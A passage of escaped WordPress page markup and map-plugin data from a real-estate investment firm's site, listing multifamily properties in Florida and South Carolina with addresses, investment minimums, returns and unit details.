date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_3 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_5\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_17  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div 